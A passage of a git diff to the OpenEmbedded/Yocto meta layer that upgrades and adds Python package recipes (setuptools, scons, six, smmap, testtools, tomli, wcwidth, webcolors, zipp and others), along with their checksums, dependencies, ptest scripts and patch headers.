++#recursive-include build/doc/man *.1
+
+
+
diff --git a/meta/recipes-devtools/python/python3-scons_3.1.2.bb b/meta/recipes-devtools/python/python3-scons_3.1.2.bb
deleted file mode 100644
index ce117a92d4..0000000000
--- a/meta/recipes-devtools/python/python3-scons_3.1.2.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Software Construction tool (make/autotools replacement)"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://${WORKDIR}/LICENSE-python3-scons-${PV};md5=e14e1b33428df24a40a782ae142785d0"
-
-# pypi package does not have a valid license file
-SRC_URI += "https://raw.githubusercontent.com/SCons/scons/${PV}/LICENSE;downloadfilename=LICENSE-python3-scons-${PV};name=license"
-
-SRC_URI[md5sum] = "f9c4ad06dcf1427be95472eaf380c81a"
-SRC_URI[sha256sum] = "8aaa483c303efeb678e6f7c776c8444a482f8ddc3ad891f8b6cdd35264da9a1f"
-SRC_URI[license.md5sum] = "e14e1b33428df24a40a782ae142785d0"
-SRC_URI[license.sha256sum] = "72ed889165fb28378cadac14552be4a959f1ebab6b148abb5dd2b49712c3c6f6"
-
-S = "${WORKDIR}/scons-${PV}"
-
-UPSTREAM_CHECK_URI = "http://scons.org/pages/download.html"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit pypi setuptools3
-
-do_install_prepend() {
- sed -i -e "1s,#!.*python.*,#!${USRBINPATH}/env python3," ${S}/script/*
-}
-
-RDEPENDS_${PN}_class-target = "\
- python3-core \
- python3-fcntl \
- python3-io \
- python3-json \
- python3-shell \
- python3-pickle \
- python3-pprint \
- "
diff --git a/meta/recipes-devtools/python/python3-scons_4.3.0.bb b/meta/recipes-devtools/python/python3-scons_4.3.0.bb
new file mode 100644
index 0000000000..bff2fdae92
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-scons_4.3.0.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Software Construction tool (make/autotools replacement)"
+HOMEPAGE = "https://github.com/SCons/scons"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d903b0b8027f461402bac9b5169b36f7"
+
+SRC_URI += " file://0001-Fix-man-page-installation.patch"
+SRC_URI[sha256sum] = "d47081587e3675cc168f1f54f0d74a69b328a2fc90ec4feb85f728677419b879"
+
+PYPI_PACKAGE = "SCons"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target = "\
+ python3-core \
+ python3-compression \
+ python3-fcntl \
+ python3-importlib-metadata \
+ python3-io \
+ python3-json \
+ python3-shell \
+ python3-pickle \
+ python3-pkg-resources \
+ python3-pprint \
+ "
+
+FILES:${PN}-doc += "${datadir}/scons*.1"
diff --git a/meta/recipes-devtools/python/python3-setuptools-scm_6.3.2.bb b/meta/recipes-devtools/python/python3-setuptools-scm_6.3.2.bb
new file mode 100644
index 0000000000..bc594d9620
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools-scm_6.3.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "the blessed package to manage your versions by scm tags"
+HOMEPAGE = "https://pypi.org/project/setuptools-scm/"
+DESCRIPTION = "setuptools_scm handles managing your Python package versions in SCM metadata instead of declaring them as the version argument or in a SCM managed file."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=8227180126797a0148f94f483f3e1489"
+
+SRC_URI[sha256sum] = "a49aa8081eeb3514eb9728fa5040f2eaa962d6c6f4ec9c32f6c1fba88f88a0f2"
+
+PYPI_PACKAGE = "setuptools_scm"
+inherit pypi setuptools3
+
+UPSTREAM_CHECK_REGEX = "setuptools_scm-(?P<pver>.*)\.tar"
+
+RDEPENDS:${PN} = "\
+ ${PYTHON_PN}-packaging \
+ ${PYTHON_PN}-pyparsing \
+ ${PYTHON_PN}-setuptools \
+ ${PYTHON_PN}-tomli \
+"
+
+RDEPENDS:${PN}:append:class-target = " \
+ ${PYTHON_PN}-debugger \
+ ${PYTHON_PN}-json \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch b/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch
new file mode 100644
index 0000000000..3150187951
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch
@@ -0,0 +1,35 @@
+From 1ff575308248b183639c8cb14afee7c8572bd2b8 Mon Sep 17 00:00:00 2001
+From: Tim Orling <timothy.t.orling@intel.com>
+Date: Wed, 20 Oct 2021 17:38:10 +0000
+Subject: [PATCH] _distutils/sysconfig: append
+ STAGING_LIBDIR/python-sysconfigdata to sys.path
+
+When python modules set SETUPTOOLS_USE_DISTULS='local', this uses the
+vendored _distutils in setuptools rather than distutils in the Standard
+Library. This is needed so that target configuration can be used with
+python3-setuptools-native.
+
+Based on python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
+from Alex Kanavin <alex.kanavin@gmail.com>
+
+Upstream-Status: Inappropriate [oe-specific]
+
+Signed-off-by: Tim Orling <timothy.t.orling@intel.com>
+
+---
+ setuptools/_distutils/sysconfig.py | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/setuptools/_distutils/sysconfig.py b/setuptools/_distutils/sysconfig.py
+index d36d94f..616eb91 100644
+--- a/setuptools/_distutils/sysconfig.py
++++ b/setuptools/_distutils/sysconfig.py
+@@ -484,6 +484,8 @@ def _init_posix():
+ multiarch=getattr(sys.implementation, '_multiarch', ''),
+ ),
+ )
++ if 'STAGING_LIBDIR' in os.environ:
++ sys.path.append(os.environ['STAGING_LIBDIR']+'/python-sysconfigdata')
+ try:
+ _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
+ except ImportError:
diff --git a/meta/recipes-devtools/python/python3-setuptools_50.3.2.bb b/meta/recipes-devtools/python/python3-setuptools_50.3.2.bb
deleted file mode 100644
index 4480d56775..0000000000
--- a/meta/recipes-devtools/python/python3-setuptools_50.3.2.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-SUMMARY = "Download, build, install, upgrade, and uninstall Python packages"
-HOMEPAGE = "https://pypi.org/project/setuptools"
-SECTION = "devel/python"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;beginline=1;endline=19;md5=9a33897f1bca1160d7aad3835152e158"
-
-PYPI_PACKAGE_EXT = "zip"
-
-inherit pypi setuptools3
-
-SRC_URI_append_class-native = " file://0001-conditionally-do-not-fetch-code-by-easy_install.patch"
-
-SRC_URI += "file://0001-change-shebang-to-python3.patch"
-
-SRC_URI[sha256sum] = "ed0519d27a243843b05d82a5e9d01b0b083d9934eaa3d02779a23da18077bd3c"
-
-DEPENDS += "${PYTHON_PN}"
-
-RDEPENDS_${PN} = "\
- ${PYTHON_PN}-2to3 \
- ${PYTHON_PN}-compile \
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-distutils \
- ${PYTHON_PN}-email \
- ${PYTHON_PN}-html \
- ${PYTHON_PN}-json \
- ${PYTHON_PN}-netserver \
- ${PYTHON_PN}-numbers \
- ${PYTHON_PN}-pickle \
- ${PYTHON_PN}-pkgutil \
- ${PYTHON_PN}-plistlib \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-stringold \
- ${PYTHON_PN}-threading \
- ${PYTHON_PN}-unittest \
- ${PYTHON_PN}-xml \
-"
-
-do_install_prepend() {
- install -d ${D}${PYTHON_SITEPACKAGES_DIR}
-}
-
-do_install_append() {
- mv ${D}${bindir}/easy_install ${D}${bindir}/easy3_install
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-# The pkg-resources module can be used by itself, without the package downloader
-# and easy_install. Ship it in a separate package so that it can be used by
-# minimal distributions.
-PACKAGES =+ "${PYTHON_PN}-pkg-resources "
-FILES_${PYTHON_PN}-pkg-resources = "${PYTHON_SITEPACKAGES_DIR}/pkg_resources/*"
-RDEPENDS_${PYTHON_PN}-pkg-resources = "\
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-email \
- ${PYTHON_PN}-plistlib \
- ${PYTHON_PN}-pprint \
-"
-# Due to the way OE-Core implemented native recipes, the native class cannot
-# have a dependency on something that is not a recipe name. Work around that by
-# manually setting RPROVIDES.
-RDEPENDS_${PN}_append = " ${PYTHON_PN}-pkg-resources"
-RPROVIDES_append_class-native = " ${PYTHON_PN}-pkg-resources-native"
diff --git a/meta/recipes-devtools/python/python3-setuptools_59.5.0.bb b/meta/recipes-devtools/python/python3-setuptools_59.5.0.bb
new file mode 100644
index 0000000000..878fa08404
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-setuptools_59.5.0.bb
@@ -0,0 +1,58 @@
+SUMMARY = "Download, build, install, upgrade, and uninstall Python packages"
+HOMEPAGE = "https://pypi.org/project/setuptools"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;beginline=1;endline=19;md5=7a7126e068206290f3fe9f8d6c713ea6"
+
+inherit pypi setuptools3
+
+SRC_URI:append:class-native = " file://0001-conditionally-do-not-fetch-code-by-easy_install.patch"
+
+SRC_URI += "\
+ file://0001-change-shebang-to-python3.patch \
+ file://0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch \
+"
+
+SRC_URI[sha256sum] = "d144f85102f999444d06f9c0e8c737fd0194f10f2f7e5fdb77573f6e2fa4fad0"
+
+DEPENDS += "${PYTHON_PN}"
+
+RDEPENDS:${PN} = "\
+ ${PYTHON_PN}-2to3 \
+ ${PYTHON_PN}-compile \
+ ${PYTHON_PN}-compression \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-distutils \
+ ${PYTHON_PN}-email \
+ ${PYTHON_PN}-html \
+ ${PYTHON_PN}-json \
+ ${PYTHON_PN}-netserver \
+ ${PYTHON_PN}-numbers \
+ ${PYTHON_PN}-pickle \
+ ${PYTHON_PN}-pkg-resources \
+ ${PYTHON_PN}-pkgutil \
+ ${PYTHON_PN}-plistlib \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-stringold \
+ ${PYTHON_PN}-threading \
+ ${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-xml \
+"
+
+do_install:prepend() {
+ install -d ${D}${PYTHON_SITEPACKAGES_DIR}
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+# The pkg-resources module can be used by itself, without the package downloader
+# and easy_install. Ship it in a separate package so that it can be used by
+# minimal distributions.
+PACKAGES =+ "${PYTHON_PN}-pkg-resources "
+FILES:${PYTHON_PN}-pkg-resources = "${PYTHON_SITEPACKAGES_DIR}/pkg_resources/*"
+RDEPENDS:${PYTHON_PN}-pkg-resources = "\
+ ${PYTHON_PN}-compression \
+ ${PYTHON_PN}-email \
+ ${PYTHON_PN}-plistlib \
+ ${PYTHON_PN}-pprint \
+"
diff --git a/meta/recipes-devtools/python/python3-six_1.15.0.bb b/meta/recipes-devtools/python/python3-six_1.15.0.bb
deleted file mode 100644
index 6c6f3f9629..0000000000
--- a/meta/recipes-devtools/python/python3-six_1.15.0.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-inherit setuptools3
-require python-six.inc
-
-SRC_URI[md5sum] = "9f90a0eaa0ea7747fda01ca79d21ebcb"
-SRC_URI[sha256sum] = "30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"
diff --git a/meta/recipes-devtools/python/python3-six_1.16.0.bb b/meta/recipes-devtools/python/python3-six_1.16.0.bb
new file mode 100644
index 0000000000..1ba48d4f47
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-six_1.16.0.bb
@@ -0,0 +1,4 @@
+inherit setuptools3
+require python-six.inc
+
+SRC_URI[sha256sum] = "1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"
diff --git a/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb b/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb
new file mode 100644
index 0000000000..ba3408247b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-smartypants_2.0.0.bb
@@ -0,0 +1,13 @@
+SUMMARY = "Translator of plain ASCII punctuation characters into 'smart' typographic punctuation HTML entities"
+HOMEPAGE = "https://pythonhosted.org/smartypants/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=977036977591ac666c728921ecc54c4f"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "smartypants"
+SRC_URI[sha256sum] = "7812353a32022699a1aa8cd5626e01c94a946dcaeedaee2d0b382bae4c4cbf36"
+
+BBCLASSEXTEND = "native"
+
+UPSTREAM_CHECK_REGEX = "/${PYPI_PACKAGE}/(?P<pver>(?!2\.0\.1)(\d+[\.\-_]*)+)/"
diff --git a/meta/recipes-devtools/python/python3-smmap_3.0.4.bb b/meta/recipes-devtools/python/python3-smmap_3.0.4.bb
deleted file mode 100644
index 5f0f341d6a..0000000000
--- a/meta/recipes-devtools/python/python3-smmap_3.0.4.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-inherit setuptools3
-require python-smmap.inc
-
diff --git a/meta/recipes-devtools/python/python3-smmap_5.0.0.bb b/meta/recipes-devtools/python/python3-smmap_5.0.0.bb
new file mode 100644
index 0000000000..ea131ef793
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-smmap_5.0.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Python implementation of a sliding window memory map manager"
+DESCRIPTION = "A pure Python implementation of a sliding memory map to \
+help unifying memory mapped access on 32 and 64 bit systems and to help \
+managing resources more efficiently."
+HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=e910b35b0ef4e1f665b9a75d6afb7709"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "smmap"
+
+SRC_URI[sha256sum] = "c840e62059cd3be204b0c9c9f74be2c09d5648eddd4580d9314c3ecde0b30936"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-codecs \
+ ${PYTHON_PN}-mmap \
+"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb b/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb
new file mode 100644
index 0000000000..0755d3e177
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb
@@ -0,0 +1,9 @@
+SUMMARY = "Sorted Containers is an Apache2 licensed sorted collections library, written in pure-Python, and fast as C-extensions."
+HOMEPAGE = "http://www.grantjenks.com/docs/sortedcontainers/"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7c7c6a1a12ec816da16c1839137d53ae"
+
+inherit pypi setuptools3
+SRC_URI[sha256sum] = "25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-strict-rfc3339_0.7.bb b/meta/recipes-devtools/python/python3-strict-rfc3339_0.7.bb
new file mode 100644
index 0000000000..aa2d5b46f0
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-strict-rfc3339_0.7.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Strict, simple, lightweight RFC3339 function.s"
+HOMEPAGE = "https://pypi.org/project/strict-rfc3339/"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8f0e2cd40e05189ec81232da84bd6e1a"
+
+SRC_URI[md5sum] = "4d9b635b4df885bc37bc1189d66c9abc"
+SRC_URI[sha256sum] = "5cad17bedfc3af57b399db0fed32771f18fc54bbd917e85546088607ac5e1277"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-subunit_1.4.0.bb b/meta/recipes-devtools/python/python3-subunit_1.4.0.bb
index 55066e2d0f..a06ded868f 100644
--- a/meta/recipes-devtools/python/python3-subunit_1.4.0.bb
+++ b/meta/recipes-devtools/python/python3-subunit_1.4.0.bb
@@ -1,4 +1,4 @@
inherit setuptools3
require python-subunit.inc
-RDEPENDS_${PN} = " python3-testtools"
+RDEPENDS:${PN} = " python3-testtools"
diff --git a/meta/recipes-devtools/python/python3-testtools/no_traceback2.patch b/meta/recipes-devtools/python/python3-testtools/no_traceback2.patch
deleted file mode 100644
index 594510342b..0000000000
--- a/meta/recipes-devtools/python/python3-testtools/no_traceback2.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-traceback2 adds traceback for python2. Rather than depend on traceback2, we're
-python3 only so just use traceback.
-This caused breakage in oe-selftest -j which uses testtools on the autobuilder
-using buildtools-tarball.
-
-Upstream-Status: Inappropriate [Our recipe is python3 specific]
-(Once py2 is EOL upstream probably could/should take this)
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Index: testtools-2.3.0/testtools/content.py
-===================================================================
---- testtools-2.3.0.orig/testtools/content.py
-+++ testtools-2.3.0/testtools/content.py
-@@ -19,8 +19,7 @@ import os
- import sys
-
- from extras import try_import
--# To let setup.py work, make this a conditional import.
--traceback = try_import('traceback2')
-+import traceback
-
- from testtools.compat import (
- _b,
diff --git a/meta/recipes-devtools/python/python3-testtools_2.4.0.bb b/meta/recipes-devtools/python/python3-testtools_2.4.0.bb
deleted file mode 100644
index a254b90a75..0000000000
--- a/meta/recipes-devtools/python/python3-testtools_2.4.0.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-inherit setuptools3
-require python-testtools.inc
-
-SRC_URI += "file://no_traceback2.patch"
diff --git a/meta/recipes-devtools/python/python3-testtools_2.5.0.bb b/meta/recipes-devtools/python/python3-testtools_2.5.0.bb
new file mode 100644
index 0000000000..896ecee65c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-testtools_2.5.0.bb
@@ -0,0 +1,2 @@
+inherit setuptools3
+require python-testtools.inc
diff --git a/meta/recipes-devtools/python/python3-toml_0.10.2.bb b/meta/recipes-devtools/python/python3-toml_0.10.2.bb
new file mode 100644
index 0000000000..be29cac798
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-toml_0.10.2.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Python Library for Tom's Obvious, Minimal Language"
+HOMEPAGE = "https://github.com/uiri/toml"
+LICENSE = "MIT"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=16c77b2b1050d2f03cb9c2ed0edaf4f0"
+
+SRC_URI[sha256sum] = "b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-misc \
+"
diff --git a/meta/recipes-devtools/python/python3-tomli_1.2.2.bb b/meta/recipes-devtools/python/python3-tomli_1.2.2.bb
new file mode 100644
index 0000000000..39030ed218
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-tomli_1.2.2.bb
@@ -0,0 +1,20 @@
+SUMMARY = "A lil' TOML parser"
+DESCRIPTION = "Tomli is a Python library for parsing TOML. Tomli is fully \
+compatible with TOML v1.0.0."
+HOMEPAGE = "https://github.com/hukkin/tomli"
+BUGTRACKER = "https://github.com/hukkin/tomli/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=aaaaf0879d17df0110d1aa8c8c9f46f5"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "c6ce0015eb38820eaf32b5db832dbc26deb3dd427bd5f6556cf0acac2c214fee"
+
+do_configure:prepend() {
+cat > ${S}/setup.py <<-EOF
+from setuptools import setup
+setup(name="tomli", version="${PV}", packages=["tomli"], package_data={"": ["*"]})
+EOF
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb b/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb
new file mode 100644
index 0000000000..83e9b5eadb
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-typogrify_2.0.7.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Filters to enhance web typography, including support for Django & Jinja templates"
+HOMEPAGE = "https://github.com/mintchaos/typogrify"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=12bc792d6f5415dbf421f3fd183c6dd2"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "typogrify"
+SRC_URI[sha256sum] = "8be4668cda434163ce229d87ca273a11922cb1614cb359970b7dc96eed13cb38"
+
+BBCLASSEXTEND = "native"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-smartypants"
+
diff --git a/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb b/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb
new file mode 100644
index 0000000000..149078c51b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Python vcversioner, automagically update the project's version"
+HOMEPAGE = "https://github.com/habnabit/vcversioner"
+
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://PKG-INFO;md5=827a7a91a8d20d3c666b665cd96db8e3"
+
+SRC_URI[md5sum] = "aab6ef5e0cf8614a1b1140ed5b7f107d"
+SRC_URI[sha256sum] = "dae60c17a479781f44a4010701833f1829140b1eeccd258762a74974aa06e19b"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-wcwidth/run-ptest b/meta/recipes-devtools/python/python3-wcwidth/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wcwidth/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-wcwidth_0.2.5.bb b/meta/recipes-devtools/python/python3-wcwidth_0.2.5.bb
new file mode 100644
index 0000000000..a532d3c5cb
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-wcwidth_0.2.5.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Library for building powerful interactive command lines in Python"
+DESCRIPTION = "Measures the displayed width of unicode strings in a terminal"
+HOMEPAGE = "https://github.com/jquast/wcwidth"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=b15979c39a2543892fca8cd86b4b52cb"
+
+SRC_URI[md5sum] = "a07a75f99d316e14838ac760c831ea37"
+SRC_URI[sha256sum] = "c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-webcolors/run-ptest b/meta/recipes-devtools/python/python3-webcolors/run-ptest
new file mode 100644
index 0000000000..3385d68939
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-webcolors/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-webcolors_1.11.1.bb b/meta/recipes-devtools/python/python3-webcolors_1.11.1.bb
new file mode 100644
index 0000000000..26dbe51767
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-webcolors_1.11.1.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Simple Python module for working with HTML/CSS color definitions."
+HOMEPAGE = "https://pypi.org/project/webcolors/"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=25b90379a52351261c51272e7923d240"
+
+SRC_URI[md5sum] = "54d28a7c80b3e4d974ec2fee86768be9"
+SRC_URI[sha256sum] = "76f360636957d1c976db7466bc71dcb713bb95ac8911944dffc55c01cb516de6"
+
+inherit pypi setuptools3 ptest
+
+RDEPENDS:${PN}:class-target = "\
+ ${PYTHON_PN}-stringold \
+"
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-zipp_3.6.0.bb b/meta/recipes-devtools/python/python3-zipp_3.6.0.bb
new file mode 100644
index 0000000000..c98bc7a3a4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-zipp_3.6.0.bb
@@ -0,0 +1,18 @@
+DESCRIPTION = "Backport of pathlib-compatible object wrapper for zip files"
+HOMEPAGE = "https://github.com/jaraco/zipp"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=7a7126e068206290f3fe9f8d6c713ea6"
+
+SRC_URI[sha256sum] = "71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832"
+
+DEPENDS += "${PYTHON_PN}-setuptools-scm-native"
+
+inherit pypi setuptools3
+
+DEPENDS += "${PYTHON_PN}-toml-native"
+
+RDEPENDS:${PN} += "${PYTHON_PN}-compression \
+ ${PYTHON_PN}-math \
+ ${PYTHON_PN}-more-itertools"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch b/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch
index 59592821d7..62ef6efc28 100644
--- a/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch
+++ b/meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch
@@ -1,4 +1,4 @@
-From 039c53dd5baddec3359a05be0bff46a3b32bbb84 Mon Sep 17 00:00:00 2001
+From 80f872e4573f542d33f91514538755557d566f79 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 25 Jan 2019 19:04:13 +0100
Subject: [PATCH] Do not add /usr/lib/termcap to linker flags to avoid host
@@ -12,10 +12,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 deletion(-)
diff --git a/setup.py b/setup.py
-index 20d7f35..ab18ff0 100644
+index 43e807f..11b5cf5 100644
--- a/setup.py
+++ b/setup.py
-@@ -957,7 +957,6 @@ class PyBuildExt(build_ext):
+@@ -1149,7 +1149,6 @@ class PyBuildExt(build_ext):
'termcap'):
readline_libs.append('termcap')
self.add(Extension('readline', ['readline.c'],
diff --git a/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch b/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch
index 83fd52d87f..d98f243cb1 100644
--- a/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch
+++ b/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch
@@ -1,4 +1,4 @@
-From 148861fa16f2aaacd518770f337ea54b5182f981 Mon Sep 17 00:00:00 2001
+From 2406432449784243b7590009d42bd0e871253b2e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 29 Jan 2019 15:03:01 +0100
Subject: [PATCH] Do not use the shell version of python-config that was
@@ -9,15 +9,16 @@ outputs directories correctly.
Upstream-Status: Inappropriate [oe-specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
Makefile.pre.in | 9 +++------
1 file changed, 3 insertions(+), 6 deletions(-)
diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 2d2e11f..cc19942 100644
+index ee85f35..f0aedb7 100644
--- a/Makefile.pre.in
+++ b/Makefile.pre.in
-@@ -1431,12 +1431,9 @@ python-config: $(srcdir)/Misc/python-config.in Misc/python-config.sh
+@@ -1640,12 +1640,9 @@ python-config: $(srcdir)/Misc/python-config.in Misc/python-config.sh
